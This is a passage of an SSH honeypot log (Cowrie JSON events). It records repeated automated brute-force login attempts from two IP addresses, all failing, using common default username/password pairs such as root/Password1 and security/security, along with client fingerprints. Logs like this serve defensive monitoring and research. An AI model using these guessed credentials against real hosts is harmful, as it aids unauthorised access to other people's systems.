penssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:04.184912Z","src_ip":"91.92.40.171","session":"5d361bc8757c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39000,"dst_ip":"159.203.135.109","dst_port":22,"session":"68e734bff3b0","protocol":"ssh","message":"New connection: 91.92.42.133:39000 (159.203.135.109:22) [session: 68e734bff3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:04.190619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:04.420957Z","src_ip":"91.92.42.133","session":"68e734bff3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:04.423820Z","src_ip":"91.92.42.133","session":"68e734bff3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.136526584625244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:06.388442Z","src_ip":"128.199.8.54","session":"fa9172f1314b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:06.483494Z","src_ip":"91.92.42.133","session":"68e734bff3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56038,"dst_ip":"159.203.135.109","dst_port":22,"session":"498356921f7f","protocol":"ssh","message":"New connection: 91.92.40.171:56038 (159.203.135.109:22) [session: 498356921f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:07.068497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:07.314889Z","src_ip":"91.92.40.171","session":"498356921f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:07.318197Z","src_ip":"91.92.40.171","session":"498356921f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:07.425249Z","src_ip":"91.92.40.171","session":"5d361bc8757c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:07.823939Z","src_ip":"91.92.42.133","session":"68e734bff3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:08.316960Z","src_ip":"91.92.40.171","session":"498356921f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:09.184610Z","src_ip":"91.92.40.171","session":"5d361bc8757c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:09.449259Z","src_ip":"91.92.40.171","session":"498356921f7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40906,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e4d39500e75","protocol":"ssh","message":"New connection: 91.92.42.133:40906 (159.203.135.109:22) [session: 2e4d39500e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:12.128897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:12.170910Z","src_ip":"91.92.42.133","session":"2e4d39500e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:12.336839Z","src_ip":"91.92.42.133","session":"2e4d39500e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:13.334388Z","src_ip":"91.92.42.133","session":"2e4d39500e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:14.433932Z","src_ip":"91.92.42.133","session":"2e4d39500e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3a2c0156f50","protocol":"ssh","message":"New connection: 91.92.40.171:56056 (159.203.135.109:22) [session: a3a2c0156f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:15.439104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:15.461009Z","src_ip":"91.92.40.171","session":"a3a2c0156f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:16.065328Z","src_ip":"91.92.40.171","session":"a3a2c0156f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42050,"dst_ip":"159.203.135.109","dst_port":22,"session":"a75b1ca61e5b","protocol":"ssh","message":"New connection: 91.92.42.133:42050 (159.203.135.109:22) [session: a75b1ca61e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:18.940964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:19.482098Z","src_ip":"91.92.42.133","session":"a75b1ca61e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:19.486444Z","src_ip":"91.92.42.133","session":"a75b1ca61e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:20.246224Z","src_ip":"91.92.40.171","session":"a3a2c0156f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48160,"dst_ip":"159.203.135.109","dst_port":22,"session":"b535e9a5254e","protocol":"ssh","message":"New connection: 91.92.40.171:48160 (159.203.135.109:22) [session: b535e9a5254e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:20.522334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:20.682771Z","src_ip":"91.92.40.171","session":"b535e9a5254e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:21.512691Z","src_ip":"91.92.40.171","session":"b535e9a5254e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:21.684571Z","src_ip":"91.92.42.133","session":"a75b1ca61e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:22.317896Z","src_ip":"91.92.40.171","session":"a3a2c0156f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:23.262071Z","src_ip":"91.92.42.133","session":"a75b1ca61e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59838,"dst_ip":"159.203.135.109","dst_port":22,"session":"08f888abe5ec","protocol":"ssh","message":"New connection: 91.92.40.171:59838 (159.203.135.109:22) [session: 08f888abe5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:25.103827Z"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:25.218834Z","src_ip":"91.92.40.171","session":"b535e9a5254e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:25.241218Z","src_ip":"91.92.40.171","session":"08f888abe5ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:25.244487Z","src_ip":"91.92.40.171","session":"08f888abe5ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:26.041996Z","src_ip":"91.92.40.171","session":"08f888abe5ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:27.183712Z","src_ip":"91.92.40.171","session":"08f888abe5ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:27.267217Z","src_ip":"91.92.40.171","session":"b535e9a5254e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46830,"dst_ip":"159.203.135.109","dst_port":22,"session":"9281235ea3d9","protocol":"ssh","message":"New connection: 91.92.42.133:46830 (159.203.135.109:22) [session: 9281235ea3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:27.278547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:27.738145Z","src_ip":"91.92.42.133","session":"9281235ea3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:27.741702Z","src_ip":"91.92.42.133","session":"9281235ea3d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud-user","password":"password","message":"login attempt [cloud-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:29.221862Z","src_ip":"91.92.42.133","session":"9281235ea3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:30.338123Z","src_ip":"91.92.42.133","session":"9281235ea3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59882,"dst_ip":"159.203.135.109","dst_port":22,"session":"4511d395fe6a","protocol":"ssh","message":"New connection: 91.92.40.171:59882 (159.203.135.109:22) [session: 4511d395fe6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:32.186728Z"}
